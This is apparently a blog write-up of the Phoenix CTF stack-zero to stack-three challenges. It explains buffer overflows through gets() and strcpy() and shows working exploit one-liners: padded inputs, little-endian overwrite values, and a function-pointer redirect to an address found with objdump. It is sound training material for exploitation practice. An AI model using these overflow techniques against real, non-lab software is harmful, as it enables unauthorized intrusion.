Stack Exploitation like a pro.
Stack Exploitation seems pretty intense although it’s easy. In this post, we’ll solve all the stack challenges there are 6 stack exploitation challenges in Pheonix CTF. This is a series of stack exploitation challenges. Starting from Stack zero which is a memory overwriting challenge advances by each level. If you landed here looking for a stack exploitation guide. Look at my setup guide to follow along at Noobs Guide to Practical Binary Exploitation.
Stack Zero
The first challenge is pretty simple. All the challenges are stored in /opt/phoenix/amd64. To look at the source code of the binary stack-zero it is available on exploit education at https://exploit.education/phoenix/stack-zero/. There is a struct called local in the program source code that has two things, there’s a buffer of 64 bytes and there is a variable called changeme it is initialized as 0.
struct {
char buffer[64];
volatile int changeme;
} locals;
we can overwrite change me by giving input which is more than 64 bytes because gets() function is used to take input from a user. gets() doesn’t have any checks for input length we can send a malformed input which is more than 64 bytes and it’ll cause a buffer overflow. That will store the extra data by overwriting the memory and storing data after 64th byte in changeMe variable hence changing the change me variable.
locals.changeme = 0;
gets(locals.buffer);
now that we understood our objective lets attack stack-zero.
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*65' | ./stack-zero
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
here I used python to print 65 “A”‘s and then I piped it over to ./stack-zero program will take input from standard in and we have completed the challenge we can also do it in two steps such as first printing 65 “A”‘s with python and then copy the output of that to the stack-zero binary.
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*65'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-zero
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, the 'changeme' variable has been changed!!!
Stack One
Stack one is similar to stack zero but it is a little bit more complicated. Then the last one although that’s how we will learn stack exploitation like a pro so don’t be afraid. Source code for stack one is available at https://exploit.education/phoenix/stack-one/.
when we run the program it shows back that it needs an argument.
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-one
Welcome to phoenix/stack-one, brought to you by https://exploit.education
stack-one: specify an argument, to be copied into the "buffer"
Let’s give it a String as an argument.
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-one AAAAA
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Getting closer! changeme is currently 0x00000000, we want 0x496c5962
Objective:- we need to change the changeme variable to “0x496c5962” this value. Currently, it is 0x00000000. Same as stack zero it is initialized to be zero.
if (locals.changeme == 0x496c5962) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
locals.changeme);
}
so we try and send an input string of “A” * 65. Because we have source code we can tell that the last “A” will end up overwriting Changeme.
./stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Getting closer! changeme is currently 0x00000041, we want 0x496c5962
65th “A” appears in the output as 0x00000041. Now to complete challenge lets send 64 “A”‘s and at last append “0x496c5962” this value. We can’t stack those two together because architecture is little-endian to store data in memory. Reversing those byte’s order we can solve the challenge.
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-one $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
We did it.
Stack Two
Another one, after stack one and stack zero I think you must have got some idea on how these challenges work in improving your skills. let’s handle stack two source code is available at https://exploit.education/phoenix/stack-two/.
Looking at the code we can tell this time we need to overflow the buffer with an environment variable. With the help of source code, we can understand that there is a pointer pointing to a string called “ExploitEducation” in environment variables. If we do not set an environment variable it will error out saying “please set the ExploitEducation environment variable”.
ptr = getenv("ExploitEducation");
if (ptr == NULL) {
errx(1, "please set the ExploitEducation environment variable");
}
after checking if the environment variable named “ExploitEducation” exists. the program moves on to this code.
strcpy(locals.buffer, ptr);
strcpy() just copies the string into the locals.buffer variable just like previous binary’s were using gets() function. strcpy() also does not have any checks that are performed to prevent us from sending data which is more than the size of buffer which in this case is 64 bytes.
if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
locals.changeme);
}
at last, we have this piece of code that checks if the variable locals.changeme is equal to 0x0d0a090a this value. If yes we get a success message, if not then we get a failure message.
so let’s make a malformed environment variable with a string of “A”* 64 + 0x0d0a090a and pass to the program to see what happens.
user@phoenix-amd64:/opt/phoenix/amd64$ ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Almost! changeme is currently 0x00000000, we want 0x0d0a090a
as expected when we set the ExploitEducation env variable to 64 “A”‘s then it tells us that we need to overwrite the value of changeme variable to be 0x0d0a090a.
user@phoenix-amd64:/opt/phoenix/amd64$ ExploitEducation=$(python -c 'print "A"*64 + "\x0a\x09\x0a\x0d"') ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
Done again something to notice I reversed the last bytes 0x0d0a090a with \x0a\x09\x0a\x0d because architecture is using little-endian.
Stack Three
Let’s do another one, stack three source code is available at https://exploit.education/phoenix/stack-three.
when running stack-three it asks us to give it an input our objective is to The aim is to change the contents of the changeme variable to 0x0d0a090a. Let’s analyze all the code of this binary on how it works.
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}
looking at code immediately there is a function on top called complete_level() which prints success message. When analyzing main we do not see this function called anywhere in the program. our old code remains the same as before a buffer of 64 bytes in struct locals but there is a new function pointer called fp. fp is initialized to a null value.
gets() is again used to get input from the user. Another interesting thing is whatever is stored in fp is called like a function in struct locals. To exploit this we can fill our buffer with 64 “A”‘s and point the value of fp to the address of complete_level() function.
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*fp)();
} locals;
printf("%s\n", BANNER);
locals.fp = NULL;
gets(locals.buffer);
How to get the address of complete_level() function. we will use a tool called objdump.
user@phoenix-amd64:/opt/phoenix/amd64$ objdump -d stack-three | grep complete_level
000000000040069d <complete_level>:
Command breakdown:- objdump is the tool “-d” to disassemble stack-three binary and then grep to look for complete_level function and we have the address to complete_level function 0x40069d.
Now to exploit it we need to point fp() pointer to our 0x40069d which is function address for complete_challange() function.
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*64 + "\x9d\x06\x40"' | ./stack-three
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!
Done. In this binary, we learnt how to find out the address of a function inside of a binary using objdump and we used some tricks we learnt solving previous binaries to get it to work.
these were small easy challenges up next well exploit our first buffer over to execute and overwrite a function. In my next post, we’ll finish with stack challenges by doing stack four, stack five and stack six.